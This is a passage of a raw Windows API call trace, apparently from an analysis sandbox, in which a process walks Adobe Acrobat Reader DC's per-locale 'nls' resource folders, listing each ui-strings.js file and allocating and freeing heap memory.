ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.184] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.184] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0256.184] GetProcessHeap () returned 0xc10000 [0256.185] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.185] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0256.185] GetProcessHeap () returned 0xc10000 [0256.185] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.185] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0256.188] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.188] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.188] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.188] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0256.190] GetProcessHeap () returned 0xc10000 [0256.190] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.190] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0256.190] GetProcessHeap () returned 0xc10000 [0256.190] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.190] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.191] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.191] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.191] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.191] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.193] GetProcessHeap () returned 0xc10000 [0256.193] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.193] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0256.193] GetProcessHeap () returned 0xc10000 [0256.193] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.194] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.194] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.195] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.195] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.195] GetProcessHeap () returned 0xc10000 [0256.195] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.195] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0256.195] GetProcessHeap () returned 0xc10000 [0256.195] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.195] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0256.197] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.197] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.197] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.197] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0256.198] GetProcessHeap () returned 0xc10000 [0256.198] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.198] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0256.198] GetProcessHeap () returned 0xc10000 [0256.198] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.198] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.199] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.199] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.199] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.200] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0256.200] GetProcessHeap () returned 0xc10000 [0256.200] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.200] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0256.200] GetProcessHeap () returned 0xc10000 [0256.200] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.200] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0256.327] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.327] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.327] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.327] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0256.329] GetProcessHeap () returned 0xc10000 [0256.329] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.329] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0256.329] GetProcessHeap () returned 0xc10000 [0256.329] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0256.329] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.329] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.330] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.330] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0256.330] GetProcessHeap () returned 0xc10000 [0256.330] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.330] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0256.330] GetProcessHeap () returned 0xc10000 [0256.330] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.332] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0256.333] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.333] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: 